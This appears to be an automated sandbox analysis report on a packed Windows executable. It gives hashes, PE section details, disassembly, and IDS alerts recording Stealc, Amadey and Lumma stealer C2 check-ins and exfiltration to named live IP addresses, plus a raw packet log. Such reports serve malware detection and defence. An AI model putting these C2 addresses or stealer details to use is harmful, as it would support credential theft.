URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945042229435552
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'788'416 bytes
MD5:	f6db1fdb077557936fbf7f79bfaede5d
SHA1:	1fa41fb9ac8c5fee78c19a6c894304c37439a041
SHA256:	f6c3ae6f370c77c051ed569795bd930f1d6c3ec7202faf9c735f397a244783d6
SHA512:	4c4b964badf8d7a45f6dce882b4386259467117686280611e7a381a6dfe0b9215ccafcb84e2cc3b6a96825892b2ac2b83f0758b9fa52ca3a91a8d695afdcd84c
SSDEEP:	49152:n/Ryq4G6grN4f7kioRCrZInBAf2VD7BJUoZrE8XovUvZyZ/X:n/B4GEkioRCrZInBAID7BJUME84M8
TLSH:	888533BB0E025FA5C1FF06392E73187C9B2834544D42A55A2BAD22FDCDCF785049ED6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6A887C288Ah
movaps xmm3, dqword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	256d0e50644cf66551b9895a6981e36a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	637be0aaf8857df90bfda83a877aa389	False	0.79296875	data	6.078332667938682	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a2000	0x200	7db380af4b38c544a09645ab51bf748d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wldjnkue	0x4ee000	0x19b000	0x19aa00	b41e7fb53daede3bb3aa6f8b0c90eb58	False	0.994826151065449	data	7.953521303193059	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bsvdnapa	0x689000	0x1000	0x600	c4c5c6adfa72ec46d1c13002cea429d6	False	0.5703125	zlib compressed data	5.036995136343888	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68a000	0x3000	0x2200	b4d83e87439e519e2d393b0bb372377f	False	0.0783547794117647	DOS executable (COM)	0.8366706030752782	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6886b4	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T03:39:21.898488+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-25T03:39:22.352867+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-25T03:39:22.473722+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-25T03:39:22.798295+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-25T03:39:22.919936+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-25T03:39:24.232277+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-25T03:39:24.979713+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-25T03:39:47.781371+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:49.839855+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:51.255871+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:52.445076+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:56.209707+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:39:57.345697+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49748	185.215.113.206	80	TCP
2024-11-25T03:40:03.329053+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49841	185.215.113.16	80	TCP
2024-11-25T03:41:06.533682+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49931	185.215.113.43	80	TCP
2024-11-25T03:41:11.070666+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49943	31.41.244.11	80	TCP
2024-11-25T03:41:16.638935+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49938	TCP
2024-11-25T03:41:17.811730+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49961	172.67.162.84	443	TCP
2024-11-25T03:41:18.023793+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49960	185.215.113.43	80	TCP
2024-11-25T03:41:18.512436+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49961	172.67.162.84	443	TCP
2024-11-25T03:41:18.512436+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49961	172.67.162.84	443	TCP
2024-11-25T03:41:19.574814+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49963	31.41.244.11	80	TCP
2024-11-25T03:41:19.812990+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49968	172.67.162.84	443	TCP
2024-11-25T03:41:20.527469+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49968	172.67.162.84	443	TCP
2024-11-25T03:41:20.527469+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49968	172.67.162.84	443	TCP
2024-11-25T03:41:22.135130+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49974	172.67.162.84	443	TCP
2024-11-25T03:41:23.051809+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49974	172.67.162.84	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 03:39:11.869645119 CET	49673	443	192.168.2.8	23.206.229.226
Nov 25, 2024 03:39:12.307177067 CET	49672	443	192.168.2.8	23.206.229.226
Nov 25, 2024 03:39:12.978997946 CET	49676	443	192.168.2.8	52.182.143.211
Nov 25, 2024 03:39:15.588327885 CET	49677	80	192.168.2.8	192.229.211.108
Nov 25, 2024 03:39:19.968826056 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:20.088413954 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:20.088541031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:20.088762045 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:20.209887028 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:21.440193892 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:21.440270901 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:21.442892075 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:21.478907108 CET	49673	443	192.168.2.8	23.206.229.226
Nov 25, 2024 03:39:21.562390089 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:21.898407936 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:21.898488045 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:21.900538921 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:21.916405916 CET	49672	443	192.168.2.8	23.206.229.226
Nov 25, 2024 03:39:22.020004988 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.352742910 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.352761030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.352866888 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:22.354304075 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:22.473721981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.798227072 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.798257113 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.798274040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.798295021 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:22.798331976 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:22.798384905 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.798402071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.798418045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:22.798429966 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:22.798470020 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:22.800522089 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:22.919935942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:23.244015932 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:23.244134903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:23.264112949 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:23.264147997 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:23.383759022 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:23.383780003 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:23.383793116 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:23.383912086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:23.383929014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:23.383985996 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:23.383996964 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.232178926 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.232276917 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:24.412139893 CET	443	49704	23.206.229.226	192.168.2.8
Nov 25, 2024 03:39:24.412218094 CET	49704	443	192.168.2.8	23.206.229.226
Nov 25, 2024 03:39:24.534781933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:24.654201984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.979654074 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.979712963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:24.979751110 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.979794025 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:24.983877897 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.983946085 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:24.984004974 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.984054089 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:24.992333889 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.992403984 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:24.992429972 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:24.992470980 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.000807047 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.000866890 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.000931025 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.000982046 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.009267092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.009342909 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.009346962 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.009390116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.017672062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.017725945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.017729998 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.017781019 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.109291077 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.109376907 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.109395027 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.109422922 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.111829996 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.111882925 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.111924887 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.111982107 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.120254993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.120309114 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.120336056 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.120383978 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.128700972 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.128725052 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.128760099 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.128782034 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.137149096 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.137207985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.137244940 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.137295008 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.171587944 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.171672106 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.171688080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.171736002 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.175857067 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.175910950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.175951004 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.176002026 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.184252024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.184326887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.184356928 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.184416056 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.192693949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.192769051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.192819118 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.192871094 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.201174974 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.201205969 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.201242924 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.201266050 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.209659100 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.209721088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.209798098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.209850073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.218025923 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.218045950 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.218086958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.218103886 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.238595963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.238678932 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.238703012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.238881111 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.242341042 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.242400885 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.242405891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.242451906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.247174025 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.247251987 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.247282028 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.247330904 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.254617929 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.254693985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.254724979 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.254769087 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.261986971 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.262053967 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.262075901 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.262119055 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.301377058 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.301446915 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:25.301459074 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.301493883 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:25.304388046 CET	80	49705	185.215.113.206	192.168.2.8
